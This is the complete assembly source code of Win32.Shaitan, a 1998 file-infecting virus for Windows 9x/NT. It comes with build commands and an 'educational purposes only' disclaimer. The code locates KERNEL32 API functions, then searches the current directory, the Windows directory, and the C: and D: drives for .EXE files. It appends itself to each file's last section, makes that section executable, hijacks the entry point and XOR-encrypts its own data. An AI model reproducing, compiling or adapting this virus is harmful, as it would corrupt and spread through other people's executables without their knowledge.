;---------------------------------------------------------------------------- ; Win32.Shaitan (C)opyright 1998 The Shaitan [SLAM] ; ; ; Win32.Shaitan is a non-resident infector of Windows 9x/NT/32s Portable ; Executable (PE) files. ; ; ; Description ; ----------- ; When a file infected by Win32.Shaitan is executed, the virus looks up ; the current process' Import table for the address of GetModuleHandle API ; function. If located, the API function will be called to retrieve the base ; address of KERNEL32.DLL. Otherwise, a hard-coded address (0xbff70000) ; will be assumed. Next, using this address, the virus scans the Export Table ; of KERNEL32.DLL for the address of the GetProcAddress API function. Finally ; using this function the virus obtains addresses of all other API functions ; it needs (e.g CreateFileA, FindFirstFileA etc). The virus searches for and ; infects files in the following order: ; - Current Directory ; - Windows base directory ; - Directories in C:\ ; - Directories in D:\ (after checking whether it's a CDROM drive) ; The file encrypts its data using a simple xor operation with 0xFF as key. ; Files are infected by appending the virus to the last section in the file ; and increasing its size. The virus uses memory-mapped files to improve ; performance. Infected files will grow by about 3k. ; ; Umm, that's about all folks! This is my first Win32 virus, so if something ; doesnt work, well... maybe next time :) The code is heavily commented, so ; it should be easy enough to follow (if you can't... dont ask me, i can't ; really follow it either! ;) ; ; Disclaimer ; ---------- ; THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD ; RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE ; THE SAME. ; ; To compile, use: ; ---------------- ; tasm32 /ml /m5 shaitan.asm ; tlink32 /c /Tpe /aa shaitan.obj, shaitan.exe, ,c:\tasm\lib\import32.lib ; pewrsec shaitan.exe ; ;---------------------------------------------------------------------------- .386p .model flat ;---------------------------------------------------------------------------- ; Some equates to make our code more readable :) ;---------------------------------------------------------------------------- L equ GENERIC_READ equ 80000000h GENERIC_WRITE equ 40000000h GENERIC_READ_WRITE equ GENERIC_READ or GENERIC_WRITE OPEN_EXISTING equ 00000003h FILE_SHARE_READ equ 00000001h FILE_ATTRIBUTE_NORMAL equ 00000080h FILE_ATTRIBUTE_DIRECTORY equ 00000010h PAGE_READWRITE equ 00000004h PAGE_WRITECOPY equ 00000008h FILE_MAP_WRITE equ 00000002h FILE_BEGIN equ 00000000h DRIVE_CDROM equ 00000005h MAX_INFECT equ 00000005h ; Max. files to infect ; at one go... FILETIME struc dwLowDateTime dd ? dwHighDateTime dd ? FILETIME ends WIN32_FIND_DATA struc dwFileAttributes dd ? ftCreationTime FILETIME ? ftLastAccessTime FILETIME ? ftLastWriteTime FILETIME ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName db 260 dup (?) cAlternateFileName db 14 dup (?) WIN32_FIND_DATA ends code_len equ v_end - v_start ;---------------------------------------------------------------------------- ; Functions imported by Generation-1 - ;---------------------------------------------------------------------------- extrn GetModuleHandleA:PROC extrn ExitProcess:PROC ;---------------------------------------------------------------------------- ; Some dummy data for Generation-1 - ;---------------------------------------------------------------------------- .data dummy_data db "SLAM Roqs!" ;---------------------------------------------------------------------------- ; CODE section - ;---------------------------------------------------------------------------- .code v_start: db 0b8h ; mov eax,xxxx where xxxx rva_eip dd 1000h ; is RVA of EIP (patched at ; infection time) call get_delta ; Call next instruction get_delta: pop ebp ; Pop out address from stack mov ebx,ebp ; Save it in EBX sub ebp,offset get_delta ; EBP = Delta pointer! sub ebx,eax ; Deduct RVA of EIP sub ebx,0Ah ; EBX = Base address of module push ebx ; Not really required, but... call crypt ; Decrypt virus data pop ebx ; Get saved EBX back mov [module_base+ebp],ebx ; Save module base mov [kernel32+ebp],0bff70000h ; Umm... Default address ; of KERNEL32.DLL (?) ; Now we try to retrieve the address of GetModuleHandleA from the current ; process's Import table... get_GMHA: mov esi,[module_base+ebp] ; ESI = Base address of process. cmp word ptr [esi],'ZM' ; Is the base correctly assumed?. jne get_GPA ; No. Quit... xor eax,eax ; EAX = 0 mov ax, word ptr [esi+3ch] ; Get RVA of PE header. cmp ax,0 ; No pointer to PE offset? je get_GPA ; No. Can't continue... mov esi,eax ; ESI = RVA of PE offset add esi,[module_base+ebp] ; Convert RVA to VA. cmp word ptr [esi],'EP' ; Is the PE header there?. jne get_GPA ; Nope. Quit... mov esi,[esi+80h] ; RVA of .idata section add esi,[module_base+ebp] ; ESI = Start of .idata section ; Now, find the IMAGE_IMPORT_DESCRIPTOR for KERNEL32.DLL imports mov eax,esi ; EAX = Start of .idata find_ik32: mov esi,eax ; ESI = First/next IMPORT_DESCRIPTOR. mov esi,[esi+0ch] ; RVA of imported module ASCIIZ string add esi,[module_base+ebp] ; RVA >> VA cmp [esi],'NREK' ; IMPORT_DESCRIPTOR for K32? je ik32_found ; Yes, we found it! add eax,14h ; EAX = Next IMPORT_DESCRIPTOR. jmp find_ik32 ; Loop till found... ik32_found: mov esi,eax ; ESI = K32 IMPORT_DESCRIPTOR. mov ebx,[esi+10h] ; Get RVA of IMAGE_THUNK_DATA array. add ebx,[module_base+ebp] ; RVA >> VA. cmp dword ptr [esi],0 ; NULL "OriginalFirstThunk" field? je get_GPA ; Yes, No hint-name table then :( mov esi,[esi] ; Pointer to pointer! add esi,[module_base+ebp] ; RVA >> VA mov edx,esi ; xor eax,eax ; Init EAX (for use as an index). iAPI_loop: cmp dword ptr [edx],0 ; No more RVAs? je get_GPA ; Yes. Jump... cmp byte ptr [edx+3],80h ; Ordinal? je inc_ndx ; Yes. Skip... mov esi,[edx] ; " " " " " add esi,[module_base+ebp] ; " " " " " add esi,2 ; ESI = Start of ASCIIZ API name. mov ecx,GMH_string_len ; ECX = Length of string (API name). mov edi,offset GMH_string ; EDI = String to compare with. add edi,ebp ; compare: repe cmpsb ; Compare the 2 strings... cmp ecx,0 ; Match found? je API_found ; Yes! Jump... inc_ndx: inc eax ; No. Increment our index. add edx,4 ; jmp iAPI_loop ; Continue looping... API_found: shl eax,2 ; Multiply by 4. ; We had saved VA of IMAGE_THUNK_DATA array in EBX. Remember? add eax,ebx ; Point to corresponding element. mov eax,[eax] ; EAX = API call address mov ebx,offset k32_string ; Offset of "KERNEL32.DLL" string add ebx,ebp ; Adjust with delta push ebp ; Save our delta pointer push ebx ; Push parameter on the stack call eax ; Call GetModuleHandleA pop ebp ; Restore our delta pointer mov [kernel32+ebp],eax ; Save address of KERNEL32.DLL get_GPA: mov esi,[kernel32+ebp] ; Point ESI to K32 base address cmp word ptr [esi],'ZM' ; Is K32 really there? jne quit ; Nope. Bail out now! xor eax,eax ; EAX = 0 mov ax,word ptr [esi+3ch] ; Get RVA of PE header pointer. cmp ax,0 ; No pointer to PE offset? je quit ; No. Can't continue... mov esi,eax ; ESI = RVA of PE offset add esi,[kernel32+ebp] ; Convert RVA to VA. cmp word ptr [esi],'EP' ; Is the PE header there? jne quit ; Naw. Cannot continue... mov eax,[esi+78h] ; PE hdr offset 78h points to .edata. add eax,[kernel32+ebp] ; Convert RVA to VA. xchg eax,esi ; Put VA back into ESI. mov eax,[esi+14h] ; Get # of functions exported by K32 mov [NumberOfFunctions+ebp],eax ; Save. mov eax,[esi+1ch] ; RVA of table of exported function ; addresses. add eax,[kernel32+ebp] ; Convert RVA to VA. mov [AddressOfFunctions+ebp],eax ; Save. mov eax,[esi+20h] ; RVA of table containing API name ; strings. add eax,[kernel32+ebp] ; Convert RVA to VA. mov [AddressOfNames+ebp],eax ; Save. mov eax,[esi+24h] ; RVA of table of export ordinals of ; all functions exported by name. add eax,[kernel32+ebp] ; Convert RVA to VA. mov [AddressOfOrdinals+ebp],eax ; Save. xor eax,eax ; EAX = 0. mov ebx,[NumberOfFunctions+ebp] ; Use EBX as a counter. apisearch_loop: mov esi,offset GPA_string ; API function to search for... add esi,ebp ; Adjust with delta pointer... mov ecx,GPA_string_len ; Length of API function name string. mov edi,[AddressOfNames+ebp]; Point to start of table containing add edi,eax ; API function name strings... mov edi,[edi] ; " " " " " add edi,[kernel32+ebp] ; " " " " " cld ; Clear direction flag. repe cmpsb ; Compare the two strings. cmp ecx,0 ; Exact match found?. je match ; Yes! Jump... dec ebx ; Decrement our counter. cmp ebx,0 ; Have we gone thru entire table?. je quit ; Yes. API not found! Bail out... add eax,4 ; No. Lets compare the next string. jmp apisearch_loop ; Continue looping... match: shr eax,1 ; Divide by 2 (array is of WORDs). add eax,[AddressOfOrdinals+ebp] ; Point to relevant element in array. xor ebx,ebx ; EBX = 0. mov bx,word ptr [eax] ; Get our index into AddressOfFuncs. shl ebx,2 ; Multiply by 4 (array is of DWORDs). add ebx,[AddressOfFunctions+ebp]; Point to relevant element in array. mov eax,[ebx] ; EAX = RVA of API function address. add eax,[kernel32+ebp] ; EAX = Address of API function!!! mov [_GetProcAddress+ebp],eax ; Save address... ; Now we retrieve the addresses of all API functions that we'll be using... Get_API_addresses: mov edi,offset API_strings ; Point to ASCIIZ string table add edi,ebp ; Adjust with delta pointer... APIaddress_loop: push edi ; Save offset of ASCIIZ API name push edi ; Push onto stack for API call call GetAPIAddress ; Retrieve address of API function pop edi ; Restore address of ASCIIZ string push eax ; Save address of API function xor eax,eax ; EAX = 0 repne scasb ; Search for end of string pop eax ; Restore address of API function mov [edi],eax ; Save it... add edi,4 ; Point to next ASCIIZ API string cmp [edi],'SLAM' ; Was that the last string? jne APIaddress_loop ; No. Loop till done... push ebp ; Save delta pointer mov eax,offset start_dir ; Buffer to store directory name add eax,ebp ; Adjust with delta pointer push eax ; Push parameter on stack push L 128 ; Length of dirname buffer mov eax,[_GetCurrentDirectory+ebp] ; Address of API to call call eax ; Call API pop ebp ; Restore delta pointer call InfectCurrentDirectory ; Infect files in starting directory cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected? je restore_start_dir ; Yes. Quit... push ebp ; Save delta push L 128 ; Length of dir buffer mov eax,offset win_dir ; Location of dir buffer add eax,ebp ; Adjust... push eax ; Push location of buffer mov eax,[_GetWindowsDirectory+ebp] ; API to call call eax ; Call API function pop ebp ; Restore delta mov eax,offset win_dir ; EAX = ASCIIZ windows dir name add eax,ebp ; Adjust... call SetDir ; Change directory to windows dir call InfectCurrentDirectory ; Infect files in it... cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected? je restore_start_dir ; Yes. Quit... mov eax,offset root_dir_c ; Infect all dirs in C:\ add eax,ebp ; Adjust... call Search&InfectDirs ; Infect... cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected? je restore_start_dir ; Yes. Quit... push ebp ; Save delta mov eax,offset root_dir_d ; ASCIIZ D:\ add eax,ebp ; Adjust with delta push eax ; Push onto stack mov eax,[_GetDriveType+ebp] ; API function to call call eax ; Call API pop ebp ; Restore delta cmp eax,DRIVE_CDROM ; Is this a CDROM drive? je restore_start_dir ; Yes. Do not try to infect! cmp eax,0 ; Drive type undeterminable? je restore_start_dir ; Yes. Let's play it safe... mov eax,offset root_dir_d ; Infect all dirs in D:\ add eax,ebp ; Adjust... call Search&InfectDirs ; Infect... restore_start_dir: mov eax,offset start_dir ; Name of starting directory add eax,ebp ; Adjust... call SetDir ; Set directory back to start dir quit: push ebp ; Save delta pointer mov eax,[_GetCommandLine+ebp] ; Address of API to call call eax ; Call API pop ebp ; Restore delta pointer mov edi,eax ; EDI = Address of cmdline inc edi ; Inc by one (skip the ") mov ecx,80h ; Search upto 80h bytes mov eax,'"' ; Search for " cmp byte ptr [edi-1],'"' ; Was the first byte a " ? je find_end_cmdline ; Yes. Continue... mov eax,' ' ; No. Look for a space then find_end_cmdline: repne scasb ; Search for end of string cmp dword ptr [edi-12],'IAHS' ; G-1? ("SHAITAN.EXE") je g1_quit ; Yup. Exit normally... jump_to_host: mov eax,[module_base+ebp] ; Get module's base address add eax,[ori_ip+ebp] ; Add original EIP to it push eax ; Remember .COM infection? :) ret ; Jump to the original EIP! g1_quit: xor eax,eax ; EAX = 0 = Return value push eax ; Push parameter on stack call ExitProcess ; Call API to quit ;---------------------------------------------------------------------------- ; GetAPIAddress - Calls GetProcAddress to retrieve address of API function ; pointed to by EDI. ; ; Return value: EAX = Address of API function ;---------------------------------------------------------------------------- GetAPIAddress: push ebp ; Save our delta pointer push edi ; EAX = ASCIIZ API string mov eax,[kernel32+ebp] ; KERNEL32 base address push eax ; " " " " mov eax,[_GetProcAddress+ebp] ; Address of API to call call eax ; Call API function pop ebp ; Restore delta pointer ret ; Return to caller ;---------------------------------------------------------------------------- ; SetDir - Sets current directory to string pointed to by EAX ;---------------------------------------------------------------------------- SetDir: push ebp ; Save delta pointer push eax ; Push parameter on stack mov eax,[_SetCurrentDirectory+ebp] ; Address of API to call call eax ; Call API pop ebp ; Restore delta pointer ret ; Return to caller ;---------------------------------------------------------------------------- ; InfectFile - Infects filename specified in "testfile" variable ; ; Return value: On success >> 1 ; On failure >> 0 ;---------------------------------------------------------------------------- InfectFile: mov [infect_status+ebp],0 ; Init. flag push ebp ; Save delta push [testfile+ebp] ; ASCIIZ filename mov eax,[_GetFileAttributes+ebp] ; API to call call eax ; Retrieve original attributes pop ebp ; Restore delta cmp eax,0ffffffffh ; Failure? je infect_end ; Yes. Cannot continue... mov [ori_attrib+ebp],eax ; Save original attributes push ebp ; Save delta push FILE_ATTRIBUTE_NORMAL ; Remove all attributes push [testfile+ebp] ; ASCIIZ filename mov eax,[_SetFileAttributes+ebp] ; API to call call eax ; Remove read-only etc attrib pop ebp ; Restore delta cmp eax,0 ; Failure? je infect_end ; Yes. Cannot continue... open_file: push ebp ; Save delta pointer push L 0 ; Template file (?) push FILE_ATTRIBUTE_NORMAL ; Attribute of file push OPEN_EXISTING ; Open an existing file push L 0 ; Security Attributes push FILE_SHARE_READ ; Share mode push GENERIC_READ_WRITE ; Access mode push [testfile+ebp] ; ASCIIZ Filename mov eax,[_CreateFileA+ebp] ; Address of API call call eax ; Call API to open file pop ebp ; Restore delta pointer cmp eax,0FFFFFFFFh ; File open failed? je infect_end ; Yes. Cannot proceed... mov [file_handle+ebp],eax ; Save file handle create_file_map: add [new_filesize+ebp],code_len + 400h ; Inc. by this many bytes push ebp ; Save delta pointer push L 0 ; Name of mapping object push [new_filesize+ebp] ; Max size of mapping object push L 0 ; " " " " push PAGE_READWRITE ; Read/Write access push L 0 ; Security attributes push [file_handle+ebp] ; Handle of file to map mov eax,[_CreateFileMappingA+ebp] ; Address of API call call eax ; Call API to map file pop ebp ; Restore delta pointer cmp eax,0 ; File mapping failed? je close_file ; Yes. Cannot proceed... mov [map_handle+ebp],eax ; Save mapping object handle create_map_view: push ebp ; Save delta pointer push [new_filesize+ebp] ; No. of bytes to map push L 0 ; File offset (low) push L 0 ; File offset (high) push FILE_MAP_WRITE ; Read/Write access push [map_handle+ebp] ; Handle to mapping object mov eax,[_MapViewOfFile+ebp] ; Address of API call call eax ; Create a map file view pop ebp ; Restore delta pointer cmp eax,0 ; Couldn't create map file view? je close_map ; Yes. Cannot proceed... mov [view_address+ebp],eax ; Address of map view fun_stuff: mov eax,[ori_ip+ebp] ; Get original EIP of host mov [temp_ip+ebp],eax ; Save it in a temp. variable mov esi,[view_address+ebp] ; Get address of map view cmp word ptr [esi],'ZM' ; Is it an EXE file? jne close_view ; No. Cannot proceed... cmp word ptr [esi+12h],'SW' ; Already infected? je close_view ; Yes. Quit... mov word ptr [esi+12h],'SW' ; Otherwise mark as infected xor eax,eax ; EAX = 0 mov ax,word ptr [esi+3ch] ; Get pointer to PE header cmp ax,0 ; No pointer to PE offset? je close_view ; No. Jump... cmp eax,[adj_filesize+ebp] ; Compare with actual filesize jae close_view ; Greater? (Happened once!) mov esi,eax ; ESI = RVA of PE ofset add esi,[view_address+ebp] ; Convert to VA cmp word ptr [esi],'EP' ; Is the PE header present? jne close_view ; No. Cannot proceed... mov [PE_hdr+ebp],esi ; Save VA of PE header ; Now ESI contains address of PE header... mov eax,[esi+28h] ; Get original entry point RVA mov [ori_ip+ebp],eax ; Save it... mov eax,[esi+3ch] ; Get file align value mov [file_align+ebp],eax ; Save it... mov ebx,[esi+74h] ; # of entries in IMG_DATA_DIR shl ebx,3 ; Multiply by 8 xor eax,eax ; EAX = 0 mov ax,word ptr [esi+6h] ; No. of sections in file dec eax ; Decrease by one mov ecx,28h ; Size of IMAGE_SECTION_HDR mul ecx ; Multiply... add esi,78h ; ESI = Addr. of IMG_DATA_DIR add esi,ebx ; ESI = Addr. of section table add esi,eax ; ESI = Addr. of last entry ; Now ESI is pointing to last entry in section table (usually .reloc) ; Modify the section characteristics flags... (+CEW) or dword ptr [esi+24h],00000020h ; Section now contains CODE or dword ptr [esi+24h],20000000h ; Section is now EXECUTABLE or dword ptr [esi+24h],80000000h ; Section is now WRITEABLE mov eax,[esi+10h] ; Get SizeOfRawdata mov [ori_size_of_rawdata+ebp],eax ; Save it... add dword ptr [esi+8h],code_len ; Inc size of VirtualSize mov eax,[esi+8h] ; Get new size in EAX mov ecx,[file_align+ebp] ; ECX = File alignment div ecx ; Get remainder in EDX mov ecx,[file_align+ebp] ; ECX = File alignment sub ecx,edx ; No. of bytes to pad... mov [esi+10h],ecx ; " " " " mov eax,[esi+8h] ; Get current VirtualSize add eax,[esi+10h] ; EAX = SizeOfRawdata padded mov [esi+10h],eax ; Set new SizeOfRawdata mov [size_of_rawdata+ebp],eax ; Also, save it... mov eax,[esi+0ch] ; Get VirtualAddress add eax,[esi+8h] ; Add VirtualSize sub eax,code_len ; Deduct size of virus mov [new_ip+ebp],eax ; EAX = New EIP! Save it... mov [rva_eip+ebp],eax ; Patch... mov eax,[ori_size_of_rawdata+ebp] ; Original SizeOfRawdata mov ebx,[size_of_rawdata+ebp] ; New SizeOfRawdata sub ebx,eax ; Increase in size mov [inc_size_of_rawdata+ebp],ebx ; Save increase value... mov eax,[esi+14h] ; File offset of sec's rawdata add eax,[size_of_rawdata+ebp] ; Add size of new rawdata mov [new_filesize+ebp],eax ; EAX = New filesize! Save... mov [adj_filesize+ebp],eax ; mov eax,[esi+14h] ; File offset of sec's rawdata add eax,[esi+8h] ; Add VirtualSize of section sub eax,code_len ; Deduct virus length from it add eax,[view_address+ebp] ; RVA >> VA (sorta) ; Now EAX points to offset where we'll append the virus code... push eax ; Save EAX mov byte ptr [key+ebp],0ffh ; Set encryption key to 0xFF call crypt ; Encrypt Vx data pop eax ; Restore EAX mov edi,eax ; Location to copy to... mov esi,offset v_start ; Location to copy from... add esi,ebp ; Adjust with delta pointer mov ecx,code_len ; No. of bytes to copy rep movsb ; Copy all the bytes! call crypt ; Decrypt Vx data mov esi,[PE_hdr+ebp] ; ESI = Addr. of PE header mov eax,[new_ip+ebp] ; Get value of new EIP in EAX mov [esi+28h],eax ; Write it to the PE header mov eax,[inc_size_of_rawdata+ebp] ; Get inc. size of last section add [esi+50h],eax ; Add it to SizeOfImage mov eax,[temp_ip+ebp] ; Get our saved host EIP mov [ori_ip+ebp],eax ; Restore... mov [infect_status+ebp],1 ; Successful infection! close_view: push ebp ; Save delta pointer push [view_address+ebp] ; Push view address on stack mov eax,[_UnmapViewOfFile+ebp] ; API to call call eax ; Call API to close view pop ebp ; Restore delta pointer close_map: push ebp ; Save delta pointer push [map_handle+ebp] ; Handle of mapping object mov eax,[_CloseHandle+ebp] ; Address of API call call eax ; Close mapping object pop ebp ; Restore delta pointer close_file: truncate_file: push ebp ; Save delta pointer push FILE_BEGIN ; Move from start of file push L 0 ; Distance to move (high) push [adj_filesize+ebp] ; " " " " push [file_handle+ebp] ; Handle of file mov eax,[_SetFilePointer+ebp] ; API function to call call eax ; Call API pop ebp ; Restore delta pointer cmp eax,0ffffffffh ; Seek failed? je final_close ; Yes. Jump... push ebp ; Save delta pointer push [file_handle+ebp] ; Handle of file to truncate mov eax,[_SetEndOfFile+ebp] ; API to call call eax ; Call API to truncate file pop ebp ; Restore delta pointer ; Now close the file... final_close: push ebp ; Save delta pointer push [file_handle+ebp] ; Handle of file to close mov eax,[_CloseHandle+ebp] ; Address of API call call eax ; Call API to close file pop ebp ; Restore delta pointer restore_attrib: push ebp ; Save delta push [ori_attrib+ebp] ; Original attributes push [testfile+ebp] ; ASCIIZ filename mov eax,[_SetFileAttributes+ebp] ; API to call call eax ; Restore original attributes pop ebp ; Restore delta infect_end: mov eax,[infect_status+ebp] ; Success/Failure flag ret ; Return to caller ;---------------------------------------------------------------------------- ; InfectCurrentDirectory - Infects upto 5 files in current directory ;---------------------------------------------------------------------------- InfectCurrentDirectory: find_file: push ebp ; Save delta pointer mov eax,offset wfd_icd ; Returned "FileFind" info add eax,ebp ; Adjust with delta... push eax ; Push it onto the stack mov eax,offset file_match ; Search for "*.EXE" add eax,ebp ; Adjust with delta... push eax ; Push it onto the stack mov eax,[_FindFirstFileA+ebp] ; <<< call eax ; Call API to search for file pop ebp ; Restore delta pointer cmp eax,0ffffffffh ; No match found? je icd_end ; No. Cannot proceed... mov [icd_search_handle+ebp],eax ; Save search handle mov eax,offset wfd_icd.cFileName ; Get filename of match file add eax,ebp ; Adjust with delta... mov [testfile+ebp],eax ; Save pointer to it... cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize jne icd_findnext ; Way to big for us! mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize... mov [adj_filesize+ebp],eax ; Save it mov [new_filesize+ebp],eax ; Save it (this'll change l8r) call InfectFile ; Infect file "testfile" cmp eax,0 ; Successful? je icd_findnext ; No. Search for next file... inc [infect_counter+ebp] ; Yes. Increment counter cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached? je close_file_handle ; Yes. Don't infect any more icd_findnext: push ebp ; Save delta pointer mov eax,offset wfd_icd ; Offset of WFD structure add eax,ebp ; Adjust with delta pointer push eax ; Push up the stack push [icd_search_handle+ebp] ; Push search handle too mov eax,[_FindNextFileA+ebp] ; Address of API to call call eax ; Call API pop ebp ; Restore delta pointer cmp eax,L 0 ; No match found? je close_file_handle ; No. Cannot proceed... mov eax,offset wfd_icd.cFileName ; Get filename of match file add eax,ebp ; Adjust with delta... mov [testfile+ebp],eax ; Save pointer to it... cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize jne icd_findnext ; Way too big! Next... mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize... mov [adj_filesize+ebp],eax ; Save it mov [new_filesize+ebp],eax ; Save it (this'll change l8r) call InfectFile ; Infect file "testfile" cmp eax,0 ; Successful? je icd_findnext ; No. Search for next file... inc [infect_counter+ebp] ; Yes. Increment counter cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached? jne icd_findnext ; No. Search next... close_file_handle: push ebp ; Save delta mov eax,[icd_search_handle+ebp] ; Handle of search push eax ; Push it onto stack mov eax,[_FindClose+ebp] ; Get address of API to call call eax ; Call API pop ebp ; Restore delta icd_end: ret ;---------------------------------------------------------------------------- ; Search&InfectDirs - ;---------------------------------------------------------------------------- Search&InfectDirs: call SetDir ; Change to directory in EAX cmp eax,0 ; Failure? je sid_end ; Yeah. Quit... push ebp ; Save delta mov eax,offset wfd_dir ; Address of struct to hold find-data add eax,ebp ; Adjust with delta push eax ; Push onto stack mov eax,offset dir_match ; File pattern to search for... push eax ; Push onto stack mov eax,[_FindFirstFileA+ebp]; API to call call eax ; Call API pop ebp ; Restore delta cmp eax,0ffffffffh ; No match??? je sid_end ; Yes. Can't continue... mov [dir_search_handle+ebp],eax ; Save search handle cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY jne sid_next_dir ; Not a directory, serch for next... mov eax,offset wfd_dir.cFileName; Name of found directory add eax,ebp ; Adjust with delta call SetDir ; Change to that directory call InfectCurrentDirectory ; Infect files there mov eax,offset dot_dot ; Move one directory down (..) add eax,ebp ; Adjust with delta call SetDir ; Change to that directory cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected? je close_dir_handle ; Yes. Don't continue... sid_next_dir: push ebp ; Save delta mov eax,offset wfd_dir ; Find-data structure add eax,ebp ; Adjust with delta push eax ; Push onto stack push [dir_search_handle+ebp] ; Push search handle too mov eax,[_FindNextFileA+ebp] ; API to call call eax ; Call API pop ebp ; Restore delta cmp eax,L 0 ; No more dirs? je close_dir_handle ; No. Exit... cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY jne sid_next_dir ; Not a directory. Search again... mov eax,offset wfd_dir.cFileName; Name of found directory add eax,ebp ; Adjust call SetDir ; Change to found directory call InfectCurrentDirectory ; Infect files in directory mov eax,offset dot_dot ; Move back one directory add eax,ebp ; Adjust... call SetDir ; Change to that directory cmp [infect_counter+ebp],MAX_INFECT ; Max # of files infected? je close_dir_handle ; Yes. Don't continue... jmp sid_next_dir ; Loop... close_dir_handle: push ebp ; Save delta mov eax,[dir_search_handle+ebp] ; Handle of search push eax ; Push it onto stack mov eax,[_FindClose+ebp] ; Get address of API to call call eax ; Call API pop ebp ; Restore delta sid_end: ret ; Return to caller ;---------------------------------------------------------------------------- ; Crypt - En/Decrypts vx data ;---------------------------------------------------------------------------- crypt: mov esi,offset crypt_start ; Start of data to en/decrypt add esi,ebp ; Adjust with delta mov ah,byte ptr [key+ebp] ; Retrieve encryption key mov ecx,crypt_end - crypt_start ; No. of bytes to encrypt crypt_loop: xor byte ptr [esi],ah ; Encrypt one byte inc esi ; Point to next byte to encrypt loop crypt_loop ; Loop till done... ret ; Return to caller ;---------------------------------------------------------------------------- ; Virus data - ;---------------------------------------------------------------------------- crypt_start: testfile dd ? file_handle dd ? map_handle dd ? view_address dd ? file_match db "*.EXE",0 dir_match db "*.*",0 wfd_icd WIN32_FIND_DATA ? wfd_dir WIN32_FIND_DATA ? adj_filesize dd ? new_filesize dd ? PE_hdr dd ? ori_ip dd ? new_ip dd ? temp_ip dd ? file_align dd ? ori_size_of_rawdata dd ? size_of_rawdata dd ? inc_size_of_rawdata dd ? module_base dd ? infect_status dd ? infect_counter dd ? icd_search_handle dd ? dir_search_handle dd ? start_dir db 128 dup (0) win_dir db 128 dup (0) root_dir_c db "C:\",0 root_dir_d db "D:\",0 dot_dot db "..",0 ori_attrib dd ? NumberOfFunctions dd ? AddressOfFunctions dd ? AddressOfNames dd ? AddressOfOrdinals dd ? GPA_string db "GetProcAddress",0 GPA_string_len equ $ - offset GPA_string _GetProcAddress dd ? GMH_string db "GetModuleHandleA",0 GMH_string_len equ $ - offset GMH_string ; ASCIIZ strings of all API functions we need. The DWORDs following the API ; names will store their respective addresses... API_strings: CF_string db "CreateFileA",0 _CreateFileA dd ? CFM_string db "CreateFileMappingA",0 _CreateFileMappingA dd ? MVOF_string db "MapViewOfFile",0 _MapViewOfFile dd ? CH_string db "CloseHandle",0 _CloseHandle dd ? FFF_string db "FindFirstFileA",0 _FindFirstFileA dd ? FNF_string db "FindNextFileA",0 _FindNextFileA dd ? FC_string db "FindClose",0 _FindClose dd ? SFP_string db "SetFilePointer",0 _SetFilePointer dd ? SEOF_string db "SetEndOfFile",0 _SetEndOfFile dd ? GCD_string db "GetCurrentDirectoryA",0 _GetCurrentDirectory dd ? SCD_string db "SetCurrentDirectoryA",0 _SetCurrentDirectory dd ? GWD_string db "GetWindowsDirectoryA",0 _GetWindowsDirectory dd ? GCL_string db "GetCommandLineA",0 _GetCommandLine dd ? UVOF_string db "UnmapViewOfFile",0 _UnmapViewOfFile dd ? GFA_string db "GetFileAttributesA",0 _GetFileAttributes dd ? SFA_string db "SetFileAttributesA",0 _SetFileAttributes dd ? GDT_string db "GetDriveTypeA",0 _GetDriveType dd ? NoMoreAPI_string dd 'SLAM' k32_string db "KERNEL32.DLL",0 kernel32 dd ? ; Take credit for writing all this stuff :) ... copyright db "Win32.Shaitan (c) 1998 The Shaitan [SLAM]",0 ; Now do a Dark Avenger impersonation :P dav_string db "This virus was written in the city of Mumbai",0 crypt_end: key db 0 v_end: ends end v_start